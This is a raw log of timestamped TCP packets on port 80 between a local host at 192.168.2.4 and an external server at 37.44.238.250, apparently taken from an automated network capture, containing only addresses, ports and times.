                                                                  Jan 13, 2025 13:11:26.072325945 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.072339058 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.072357893 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.072408915 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.072417021 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.072427034 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.072444916 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.072451115 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.072454929 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.072463036 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.072474003 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.072493076 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.072514057 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.073805094 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.075670004 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.075680017 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.075717926 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.075727940 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.075737953 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.075761080 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.075789928 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.076422930 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076431990 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076462030 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.076476097 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076484919 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076488972 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.076509953 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.076525927 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.076556921 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076567888 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076592922 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.076608896 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076613903 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.076617002 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076656103 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.076684952 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076694012 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076709032 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076716900 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076735020 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.076750994 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.076762915 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.076888084 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076905012 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076913118 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076927900 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076936007 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076944113 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076944113 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.076961040 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.076976061 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076983929 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.076993942 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077017069 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077033997 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077038050 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077048063 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077090979 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077099085 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077104092 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077142000 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077212095 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077222109 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077240944 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077249050 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077255964 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077259064 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077267885 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077272892 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077275991 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077291965 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077297926 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077321053 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077339888 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077370882 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077387094 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077394009 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077409983 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077418089 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077426910 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077438116 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077461004 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077780962 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077790022 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077836037 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077877998 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077887058 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077894926 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077903032 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077922106 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077924967 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077933073 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077939034 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.077941895 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.077951908 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078071117 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078078985 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078088999 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078097105 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078242064 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078249931 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078336000 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078344107 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078366041 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078373909 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078388929 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078397036 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078444004 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078452110 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078461885 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078469992 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078485966 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078494072 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078548908 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078556061 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078584909 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.078592062 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.081275940 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.081507921 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.081516981 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.081533909 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.081542969 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.081602097 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.081609964 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.081636906 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.081645012 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.081717968 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.081726074 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.081734896 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082087994 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082098007 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082106113 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082123041 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082129955 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082139015 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082146883 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082155943 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082175970 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082184076 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082247019 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082254887 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082659006 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082668066 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082724094 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082732916 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082743883 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082752943 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082853079 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082860947 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082891941 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082900047 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082915068 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082922935 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082938910 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.082947016 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083081007 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083090067 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083097935 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083111048 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083118916 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083127022 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083161116 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083169937 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083185911 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083194017 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083209991 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083218098 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083225965 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083234072 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083287954 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083296061 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083365917 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083374023 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083422899 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083431005 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083460093 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083467007 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083517075 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083524942 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083553076 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083560944 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083635092 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083642960 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083676100 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083683968 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083754063 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083761930 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083770990 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083780050 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083794117 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083801985 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083848953 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083863974 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083878994 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083887100 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083930969 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083937883 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083975077 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083982944 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.083992958 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084043026 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084094048 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084100962 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084119081 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084182978 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084191084 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084198952 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084244013 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084252119 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084295034 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084302902 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084327936 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084343910 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084356070 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084388971 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.084398985 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.475353956 CET4985080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.476165056 CET4985680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.480551958 CET804985037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.480597973 CET4985080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.480977058 CET804985637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.481034040 CET4985680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.481288910 CET4985680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.486135960 CET804985637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.829772949 CET4985680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:26.836283922 CET804985637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.836566925 CET804985637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:26.836697102 CET804985637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:27.200073004 CET804985637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:27.251636982 CET804985637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:27.251748085 CET4985680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:27.287240982 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:27.376462936 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:27.719836950 CET4984380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:27.719904900 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:27.719954014 CET4985680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:27.720840931 CET4986380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:27.724844933 CET804984337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:27.724919081 CET4984380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:27.725208998 CET804984737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:27.725222111 CET804985637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:27.725255013 CET4984780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:27.725275040 CET4985680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:27.725614071 CET804986337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:27.725675106 CET4986380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:27.725824118 CET4986380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:27.730573893 CET804986337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:28.079665899 CET4986380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:28.084681988 CET804986337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:28.084696054 CET804986337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:28.084706068 CET804986337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:28.437613010 CET804986337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:28.527894020 CET4986380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:28.661711931 CET804986337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:28.839773893 CET4986380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:29.416811943 CET4986380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:29.418857098 CET4986880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:29.421936989 CET804986337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:29.421989918 CET4986380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:29.423752069 CET804986837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:29.423823118 CET4986880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:29.424000025 CET4986880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:29.428812027 CET804986837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:29.782860994 CET4986880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:29.787956953 CET804986837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:29.787976027 CET804986837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:29.787987947 CET804986837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:30.057746887 CET804986837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:30.225357056 CET4986880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:30.235805988 CET804986837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:30.360861063 CET4986880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:30.393354893 CET4986880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:30.393774986 CET4987780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:30.398360968 CET804986837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:30.398412943 CET4986880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:30.398547888 CET804987737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:30.398622036 CET4987780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:30.398783922 CET4987780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:30.403604031 CET804987737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:30.404005051 CET4987880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:30.408833027 CET804987837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:30.408946991 CET4987880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:30.409085035 CET4987880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:30.413911104 CET804987837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:30.751549959 CET4987780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:30.756668091 CET804987737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:30.756706953 CET804987737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:30.767280102 CET4987880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:30.772260904 CET804987837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:30.772351027 CET804987837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:30.772380114 CET804987837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:31.038177013 CET804987837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:31.055603027 CET804987737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:31.165657043 CET804987837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:31.165709019 CET4987880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:31.225219965 CET804987737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:31.225349903 CET4987780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:31.319356918 CET4987880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:31.319691896 CET4987780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:31.324552059 CET804987837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:31.324610949 CET4987880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:31.324790955 CET804987737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:31.326021910 CET4987780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:31.399874926 CET4988480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:31.404951096 CET804988437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:31.405046940 CET4988480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:31.405181885 CET4988480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:31.410007000 CET804988437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:31.751589060 CET4988480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:31.756539106 CET804988437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:31.756556034 CET804988437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:31.756571054 CET804988437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:32.062371016 CET804988437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:32.173314095 CET4988480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:33.168910980 CET804988437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:33.168946028 CET804988437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:33.168981075 CET4988480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:33.169203997 CET804988437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:33.169236898 CET4988480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:33.169485092 CET804988437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:33.169518948 CET4988480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:33.466862917 CET4988480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:33.467587948 CET4989180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:33.471923113 CET804988437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:33.472358942 CET804989137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:33.472424030 CET4988480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:33.472461939 CET4989180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:33.472606897 CET4989180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:33.477339983 CET804989137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:33.829989910 CET4989180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:33.835097075 CET804989137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:33.835115910 CET804989137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:33.835129023 CET804989137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:34.120287895 CET804989137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:34.173358917 CET4989180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:34.293597937 CET804989137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:34.360858917 CET4989180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:34.486932039 CET4989180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:34.488028049 CET4989680192.168.2.437.44.238.250
